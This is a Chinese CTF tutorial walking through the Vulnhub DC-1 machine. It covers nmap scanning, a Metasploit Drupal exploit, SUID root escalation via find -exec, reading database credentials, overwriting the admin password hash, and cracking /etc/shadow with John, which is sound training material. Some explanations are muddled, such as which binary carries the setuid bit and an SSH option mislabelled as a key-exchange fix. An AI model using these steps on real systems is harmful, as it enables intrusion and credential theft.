DC-1靶机实战：从Drupal漏洞到SUID提权的完整渗透链路

简介：面向网络安全初学者的一份CTF夺旗靶机实操教程，以Vulnhub DC-1靶机为例，完整演示从环境搭建、主机发现、端口扫描到漏洞利用与权限提升的攻防链条。内容涵盖arp-scan与nmap网络探测、Metasploit利用Drupal漏洞获取Shell、SUID文件查找与提权、Python反弹Shell，以及MySQL数据库口令获取和John the Ripper破解shadow密码等关键环节，最终集齐5个flag。每条命令均经作者手工验证，配有操作截图与输出说明，零基础读者可逐行跟练。资源包共1个PDF文档，约1.82MB，既覆盖Kali与靶机桥接网络配置，也包含完整渗透流程的代码汇总。目前已有1418人浏览学习，适合网络安全实训、CTF入门自学或教师备课参考，帮助读者把零散命令串联为系统化渗透测试思路。

1. 五个 flag 不是五个漏洞：这套网络安全夺旗靶机真正练的是提权链路

五个 flag、一台靶机、两小时走完，这是我在靶机平台复现 DC-1 这套网络安全夺旗靶机后的直接感受。新手最容易盯上第一个 flag 的漏洞利用，但整条链路真正考验人的是从 flag1 到 flag5 的权限提升：拿到 shell 只是开始，后面每一环都在为下一步铺路。这套实操教程覆盖信息收集、端口扫描、Drupal 漏洞利用、SUID 提权、MySQL 接管、shadow 密码破解和 SSH 登录，每一步都适合在 Kali 2023 上跟着敲。它适合刚装好 Kali 却不知道从哪下手的人，也适合打过单点漏洞但没走完完整夺旗闭环的练习者。我会把每条命令的参数怎么改、失败时看什么，以及那些容易翻车的细节一并拆开，让你照着走就能拿齐五个 flag。

2. 环境搭建与主机发现：桥接网卡、arp-scan 与 nmap 端口画像

2.1 网卡模式为什么必须选桥接：同网段是后续一切命令的前提

很多第一次玩靶机的人卡在第一步：Kali 能上网，靶机能开机，但 arp-scan 什么都扫不到。九成原因是虚拟机网卡选了 NAT。NAT 模式下，虚拟机通过宿主机共享 IP 出网，靶机对外表现成宿主机的一个影子，局域网里看不到它独立的网卡；桥接模式则是让虚拟机直接挂在物理网络的交换机上，拿到和宿主机同一网段的独立 IP。这个差异决定了后续 arp-scan 能不能发现靶机、nmap 能不能扫到端口、最后 SSH 能不能直连。

在 VMware 里右键虚拟机 → 设置 → 网络适配器 → 选择桥接模式，同时把「复制物理网络连接状态」勾上。Kali 和靶机都要确保拿到同网段 IP。如果宿主机是 192.168.1.100 这种家用网段，两台虚拟机应该都是 192.168.1.x。有一个容易忽略的点：如果物理路由器开了 AP 隔离，虚拟机之间即使同网段也互相不可见，表现就是 arp-scan 只能扫到宿主机和网关，扫不到对方。这时候换一个普通家用路由器环境，或者进路由器后台关掉 AP 隔离再试。

进入 Kali 后先确认两台机器的网卡状态，不要凭感觉认为「桥接了一定通」：

# 查看所有网卡的 IP 地址，重点看 eth0 是否有 192.168.1.x 段地址 ip addr show # 如果 eth0 没有地址，用 dhclient 重新获取 sudo dhclient eth0

这里有两个细节：一是ip addr show比ifconfig信息更全，能看到网卡状态是 UP 还是 DOWN，如果显示 DOWN，先在 VMware 里把网卡重新插拔一下；二是桥接模式下虚拟机拿到的 IP 是路由器 DHCP 分配的，有时候会跟宿主机 IP 冲突，最稳妥的做法是进路由器后台给两台虚拟机各绑一个固定 IP，省得中途地址变了导致后面的 nmap 全扫空。

2.2 arp-scan 找靶机 IP，nmap 补端口与服务的完整画像

确认同网段后，第一个命令就是 arp-scan：

# 扫描本地网段所有存活主机，-l 表示 local，自动识别当前网段 sudo arp-scan -l

输出里每一行是一个存活主机的 IP 和 MAC，最后一列是网卡厂商。靶机通常是 VMware 虚拟网卡，Kali 自己也是，所以你会看到两个 VMware 条目，其中一个就是靶机。以这套靶机为例，扫描结果显示 192.168.1.155 是靶机 IP，这个地址后面所有命令都要用到。

拿到靶机 IP 后不要急着打 80 端口，先用 nmap 看一眼全貌：

# -sV 做服务版本探测，能识别端口上跑的具体服务及版本号 nmap -sV 192.168.1.155

扫描结果一般是这三个端口：

22 和 80 是主战场，111 是系统自带服务，这类端口在真实内网渗透里可以用来探测 NFS 共享，但本靶机基本用不上。如果你想让画像更完整，可以加-sC跑默认脚本，或者用-p-扫全端口：

# 全端口扫描，适合确认没有遗漏的高位端口，耗时较长 nmap -sS -sV -p 1-10000 192.168.1.155

注意-sS是 SYN 半开扫描，需要 root 权限，速度比-sT快，但有些防护设备会记录这种探测行为。靶机环境无所谓，真实环境里慎用。

2.3 80 端口先别急着打：页面上的账号密码是第一条线索

浏览器打开http://192.168.1.155，会看到一个 Drupal 搭建的站点。首页上有用户名密码，这是靶机故意留在页面上的，属于 CMS 的用户凭据，不是系统账号。很多人看到账号密码就直接去/user/login尝试登录，我建议先做两件事。

第一，右键查看页面源码，找 generator 或者 meta 标签里的版本号。Drupal 的版本信息直接决定了后面用哪个 Metasploit 模块，版本选错，exploit 跑半天也是白费。第二，访问/robots.txt，看有没有屏蔽路径泄露。robots.txt 里经常会出现/user/login、/sites/default/files这类路径，能帮你画出一张站点目录地图。

浏览器访问首页后，你会发现这个站点是标准 Drupal 目录结构：/sites/default存放站点配置，/scripts存放命令行脚本，/modules是扩展模块目录。这套目录结构在后面找 flag2 时会派上用场——flag1 里明确提示「去找配置文件」，Drupal 的配置文件就在/sites/default/settings.php，这个认知越早建立，后面越不容易像无头苍蝇一样乱翻。

到这里，「信息收集 → 指纹识别 → 漏洞匹配」的前半段已经走完。你已经知道目标是谁、跑了什么服务、用的什么 CMS，下一步就是去 Metasploit 里找对应的漏洞。

3. 利用 Metasploit 打 Drupal 拿 flag1：从模块搜索到交互式 shell

3.1 search drupal 的模块选择：use 1 不是拍脑袋

启动 Metasploit 控制台：

# 进入 msfconsole 交互界面 msfconsole

然后在 msf 提示符下搜索 Drupal 相关模块：

# 列出所有与 drupal 相关的 exploit 和 auxiliary 模块 search drupal

Metasploit 会列出一串模块，有远程代码执行、有 SQL 注入、有反序列化。use 1直接选第一个不是玄学：msf 的模块排序通常按匹配度和成功率综合排序，排在最前面的一般是通用性最强、影响版本范围最广的利用模块。但这不是绝对的，如果你从页面源码里已经确认了 Drupal 具体版本，就优先选描述里覆盖该版本的模块。

进入模块后先别急着 exploit，先看配置项：

# 进入第一个模块 use 1 # 显示当前模块需要配置的选项 show options

必改项是RHOSTS，也就是靶机 IP。有些模块还涉及SSL、TARGETURI等参数，如果靶机是 http 访问，确保SSL为false；TARGETURI保持默认的/通常就能命中。设置完执行：

# 设置目标 IP set rhosts 192.168.1.155 # 执行攻击 exploit # 或者用 run，两者等价 run

exploit 和 run 在绝大多数模块里完全等价，一个是攻击语义，一个是通用执行语义。如果你之前习惯了exploit，这里用哪个都行。

执行后等几秒钟，出现Meterpreter session 1 opened就是成功了。如果等了十几秒没反应，大概率是模块版本和靶机 Drupal 版本不匹配，Ctrl+C 中断后换一个模块再试。还有一种情况是模块需要指定LHOST（回连 IP），这时候show options里能看到LHOST为空，手动设置成 Kali 的 IP 就行。

3.2 meterpreter 中 shell 命令后的第一组动作：id、whoami、ls

exploit 成功后，msf 会打开一个 meterpreter 会话。meterpreter 是 Metasploit 自己的后渗透工具，很多命令是封装好的，比如getuid、sysinfo，但有些操作在 meterpreter 里反而绕——尤其是后面要跑find提权、执行系统原生命令，直接在 meterpreter 里跑经常报错。所以第一步通常是输入shell，落到目标系统的原生命令行：

# 从 meterpreter 降级到目标系统的原生 shell shell

这时候你拿到的是目标机器上的一个非交互式 sh，当前用户是 Drupal 站点运行用户，通常是www-data。先执行几个基础命令确认环境：

# 查看当前系统用户身份，确认不是 root whoami # 列出当前目录内容 ls

ls就能看到flag1.txt，直接查看内容：

# 读取第一个 flag 的内容 cat flag1.txt

flag1 的内容是一条提示：下一个任务需要去找一个配置文件。这就是靶机设计者的惯用套路——flag 不是终点，而是路标。flag1 指向 settings.php，settings.php 里藏着数据库凭据，数据库里又藏着下一个入口，整个靶机就是一条线索链。读到这里先记住这个提示，后面会用到。

3.3 python -c 弹 pty 交互式 shell：为什么这步不能省

在非交互式 shell 里直接跑后面的 SUID 提权命令，经常出现「命令执行了但没反应」「按回车没回显」的假死现象，原因是这个 shell 没有完整的终端（TTY）。常见做法是用 Python 起一个 pty 终端：

# 通过 Python 的 pty 模块，把当前非交互 shell 升级为带 TTY 的交互式 shell python -c 'import pty;pty.spawn("/bin/sh")'

这条命令的原理是借用 Python 的pty模块，把当前进程挂载到一个伪终端上。伪终端具备标准输入、输出、错误处理能力，之后执行cd、vim、su这类对终端有要求的命令才会正常。pty.spawn("/bin/sh")里的/bin/sh可以换成别的 shell，但靶机上最通用的是/bin/sh。

升级完交互式 shell 后，先用whoami确认身份：

# 再次确认当前用户，应该是 www-data 或类似低权限用户 whoami

如果返回的是www-data而不是root，说明当前权限不足以直接读/root目录，下一步必须走提权。另外还要注意：python在某些精简系统里不存在，报command not found时试一下python3 -c 'import pty;pty.spawn("/bin/sh")'。老靶机上这两个版本都有可能，备着。

到这里，你已经走完了「漏洞利用 → 拿 shell → 确认身份」的前半程。接下来就是整个靶机最核心的环节——从www-data提升到root，这也是五个 flag 里承上启下的关键一步。

4. 常见问题排查：SUID 提权与配置文件追踪的五个典型坑

4.1 坑一：find 查出几十个 SUID 文件，怎么判断哪个能提权

现象：执行find / -perm -u=s -type f 2>/dev/null后，输出几十行，不知道选哪个文件提权。

原因：-perm -u=s找的是设置了 setuid 位的可执行文件。这类文件运行时以属主身份执行，如果属主是 root，文件本身又能执行外部命令，就能借它提权。但并不是所有 setuid 文件都能提权，只有那些允许你通过它执行命令的才有价值，常见的有passwd、find、vim。

解决：输出列表里优先找/usr/bin下、属主为 root、文件名常见的条目。这里以passwd为例，先进入所在目录再执行：

# 进入 passwd 所在目录 cd /usr/bin # 利用 find 的 -exec 参数，找到 passwd 文件后直接执行 /bin/sh find passwd -exec '/bin/sh' \;

find的-exec会把后面直到\;的部分当成命令执行。这里find找到passwd这个文件后，直接执行/bin/sh，因为find本身是 root 属主且有 setuid 位，所以弹出来的 shell 就是 root 权限。执行后提示符从$变成#，whoami返回root，说明提权成功。

注意：这条命令在真实环境中属于利用 SUID 配置不当，只建议在靶机上练习用，不要对不属于自己的系统做同样操作。

4.2 坑二：find -exec 执行后无回显或直接卡死

现象：输入find passwd -exec '/bin/sh' \;后光标一直闪，没有出现#提示符。

原因：当前还是一个非交互式 shell，没有完整的 TTY，新启动的/bin/sh没有拿到标准输入输出，所以看起来像卡死。另一个常见情况是当前其实已经切到 root 了，但提示符没刷新，让人误以为命令没生效。

解决：先执行第 3.3 节的 Python pty 升级命令，再执行提权。如果还是卡，Ctrl+C 中断，回到普通 shell 后用绝对路径确认目标文件：

# 查找 /usr/bin 下所有可执行的 SUID 文件 find / -perm -u=s -type f 2>/dev/null | grep '/usr/bin' # 拿到准确路径后重新提权 find /usr/bin/passwd -exec '/bin/sh' \;

执行完提权后，不要只看提示符，直接输入id验证身份。提示符其实只是 PS1 变量显示，换了 shell 可能不刷新，id输出里的uid=0才是真相。

4.3 坑三：settings.php 里拿到 MySQL 明文密码却连不上

现象：按 flag1 的提示找到/sites/default/settings.php，里面数据库用户名密码全是明文，但执行mysql -u 用户名 -p 密码登录失败。

原因：settings.php 里的数据库 host 字段通常写的是localhost，而 MySQL 服务只监听127.0.0.1的 3306 端口，从靶机外部连不上。其实此刻你已经通过 SUID 提权拿到了 root shell，直接在靶机本机登录就行，不需要远程连接。

解决：先确认 MySQL 监听状态，再在靶机本机登录：

# 查看 3306 端口监听情况 netstat -tlnp | grep 3306 # 用配置文件里的账号密码登录，密码用单引号包裹防特殊字符转义 mysql -u dbuser -p'密码'

登录成功后，把用户表导出来看看：

-- 查询用户表所有记录，管理员密码通常是密文 select * from users;

users 表里有用户名和加密后的密码字段。flag2 也是在这个配置目录下找到的，确切地说就在 settings.php 旁边。拿到数据库凭据后，桌面已经摆好了下一步的钥匙。

4.4 坑四：cat /etc/shadow 后 John 破解不出任何 hash

现象：提权后执行cat /etc/shadow，看到flag4用户的一长串 hash，复制出来保存成shadow.txt，跑john shadow.txt却秒结束，什么都没出来。

原因：John the Ripper 默认识别的格式和/etc/shadow原文件不完全兼容。最常见做法是把/etc/passwd和/etc/shadow用unshadow合并成 john 自己的格式，而且必须保证 hash 前面的用户名和整个文件格式完整。如果直接拿 shadow 原文件跑，john 经常会因为格式问题直接跳过。

解决：在 Kali 上执行：

# unshadow 把 passwd 和 shadow 合并成 john 可直接识别的格式 unshadow /etc/passwd /etc/shadow > shadow.txt # 加载 rockyou 字典破解，找不到字典就先生成 ./john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt

rockyou 字典在 Kali 里默认是压缩包，如果提示找不到文件，先解压：

# 解压自带字典 sudo gunzip /usr/share/wordlists/rockyou.txt.gz

破解过程中可以开另一个终端随时查看进度：

# 显示已经破解出来的账号和密码 ./john --show shadow.txt

如果跑了几分钟还没结果，检查一下是不是/etc/shadow里 hash 格式不完整，或者字典没指定成功。确认命令里--wordlist路径有效，再跑一轮。

4.5 坑五：flag4 密码已破解，SSH 登录却提示 Permission denied

现象：John 跑出flag4的密码是orange，执行ssh flag4@192.168.1.155却提示 Permission denied。

原因：最常见是用户名写错。靶机创建的用户名是flag4，注意字母大小写和数字，不是Flag4，也不是flag 4。另外密码可能带尾随空格，或者你复制 hash 时把其他字符误当成密码。还有一个隐蔽问题：Kali 2023 的 OpenSSH 默认策略比较严格，老靶机的 SSH 服务可能还在用旧的密钥交换算法，导致认证还没到密码阶段就被拒了。

解决：用调试模式看卡在哪一步：

# -v 打印详细认证过程，定位失败阶段 ssh -v flag4@192.168.1.155

如果是密钥算法问题，加参数绕过：

# 忽略公钥认证，强制走密码认证 ssh -o PubkeyAuthentication=no -o PreferredAuthentications=password flag4@192.168.1.155

确认用户名是flag4，确认密码里没有空格或换行。排完这几点再登录，登录成功后ls就能看到flag4.txt，内容会提示你最终目标是 root 目录下的文件。到这里，你已经集齐了数据库凭据、web 后台权限和一个可用的 SSH 账号，就差最后一击。

5. 数据库接管与密码改写：password-hash.sh 逆用与 admin 密码覆盖

5.1 select * from users 看到密文，先别急着硬刚

上一步在 MySQL 里执行select * from users;，看到admin用户的密码字段是一串不可读的 hash。很多人第一反应是复制 hash 去跑字典，但这在 Drupal 这类 CMS 上往往事倍功半——CMS 的密码哈希通常带盐且算法较重，字典跑起来的耗时不可控，而且 Drupal 的 hash 格式 John 不一定能直接识别。

更高效的做法是：找到这个 CMS 自带的密码哈希脚本，用我们指定的明文生成一个合法 hash，然后 UPDATE 覆盖掉 admin 原来的密码。这个思路的底层逻辑是：你已经拿到了数据库写权限，不需要破解旧密码，直接让系统认一个新密码就行。

5.2 find 定位 password-hash.sh：脚本即武器

退出 MySQL，用关键字找加密脚本：

# 查找所有文件名含 hash 的文件，定位密码哈希脚本 find / -name '*hash*' 2>/dev/null

这套靶机里，/var/www/scripts/password-hash.sh就是站点自带的加密脚本。这个脚本原本是给管理员生成密码用的，现在可以「逆用」成我们自己的武器。进入/var/www目录后直接调用：

# 进入站点根目录 cd /var/www # 执行站点自带的密码哈希脚本，生成 123456 对应的合法 hash php scripts/password-hash.sh 123456

注意两点：第一，要在/var/www目录下执行，因为脚本里可能用了相对路径；第二，php命令在 Kali 里有，但靶机上也必须要有 PHP 运行时，本靶机是 Drupal 环境，PHP 肯定存在。执行后输出一段很长的 hash 字符串，复制保存，下一步要用。

5.3 UPDATE 覆盖 admin 密码并回流页面拿 flag3

重新登录 MySQL，执行 UPDATE 语句把 admin 的密码替换成刚才生成的 hash：

# 重新登录 MySQL mysql -u dbuser -p

-- 切换到 Drupal 站点数据库 use drupal; -- 把 admin 的密码字段替换为脚本生成的 hash update users set pass = '刚才生成的hash值' where name = 'admin'; -- 刷新权限，确保修改生效 flush privileges;

这里的表名和字段名以靶机实际数据库为准，不同版本的 Drupal 表结构会有差异。有的版本用户表叫users_field_data，密码字段叫pass，但核心逻辑一致：找到 admin 对应的记录，把密码字段改成合法 hash。

退出 MySQL，浏览器打开站点/user/login，用admin和密码123456登录。登录成功后，在站点的第一个板块里能看到 flag3。如果登录后显示未登录状态，可能是 sessions 表缓存了旧会话，进数据库执行truncate sessions;清一下再回页面刷新。

走到这一步你手里的权限已经不小了：root 系统权限、MySQL 写权限、Drupal 后台管理员权限。但 flag4 没那么容易，它藏在系统用户层面。

5.4 /etc/shadow 中暴露 flag4，用 John the Ripper 完成本地破解

在 root shell 下直接读/etc/shadow：

# 读取系统用户密码文件，flag4 用户名和加密 hash 会出现在这里 cat /etc/shadow | grep flag4

输出里能看到flag4:$1$...这样一行，flag4不是普通文本 flag，而是一个真实存在的系统用户，它的登录密码就是 flag4 的值。所以这一步要从 hash 破解出明文密码。

John the Ripper 的编译在 Kali 上很常规，源码解压后进src目录，按系统架构编译：

# 解压源码包 tar -xvf john-1.8.0.tar.gz # 进入源码目录 cd john-1.8.0/src # 清理旧配置 make clean # 编译 x86-64 版本，生成的可执行文件在 run 目录下 make linux-x86-64

编译产物在run目录下，john可执行文件就在那里。准备好 shadow 合并文件后：

# 在 run 目录下执行破解 ./john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt # 显示已破解的账号密码 ./john --show shadow.txt

跑出flag4:orange后，这一章节的所有钥匙都集齐了：一个系统用户名、一个明文密码、一个可用的 SSH 服务。下一步就是从 Kali 直接登录靶机。

6. 最后一击：SSH 登录 flag4，复用 SUID 提权思想进 root

6.1 ssh 登录后的第一眼：home 目录与 flag4.txt

从 Kali 直接连接靶机的 SSH 服务：

# 用破解出的账号密码登录靶机 ssh flag4@192.168.1.155

密码输入orange，登录成功后先ls，会看到flag4.txt。查看内容，上面写着：你能用同样的方式在 root 中找到 flag 么？这句话直接把最终目标指了出来——root 目录下还有一个 final flag，等着你用同样的 SUID 提权思路去拿。

6.2 根目录下的 thefinalflag.txt：整条链路闭环

在flag4用户下复用上一章的 SUID 提权思想：

# 利用 find 的 setuid 位执行 /bin/sh，获取 root 权限 find /usr/bin/passwd -exec '/bin/sh' \;

flag4用户不是 root，但/usr/bin/passwd文件有 setuid root 位，find执行它时继承了 root 权限，弹出来的 shell 就是 root。进入 root 目录：

# 进入 root 目录 cd /root # 列出 root 目录下的所有文件 ls # 读取最终 flag cat thefinalflag.txt

内容大意是：干得好，希望你喜欢并学到了新技能。到这里，五个 flag 全部拿齐：flag1 在 Drupal web 目录，flag2 在 settings.php 配置里，flag3 在站点后台板块，flag4 是/etc/shadow里破解出的账号密码，flag5 在 root 目录。

复盘这套靶机，我保留了两个习惯到现在。第一，打靶机前先写一张信息记录表，把服务、版本、线索按 flag 编号归档，比如 flag1 提示 settings.php，settings.php 暴露 MySQL 凭据，MySQL 里改出 admin 密码拿 flag3，shadow 里挖出 flag4 账号密码——每条线索都有承接，写下来才不会临时翻历史命令。第二，每拿到一个 shell 先确认三件事：当前用户是谁、能不能读/etc/shadow、能不能进/root。这三项直接决定你离最终 flag 还有多远。从那以后，我每次实战前都会强制走一遍这个 checklist，先画地图再开枪。希望帮到你。

本文还有配套的精品资源，点击获取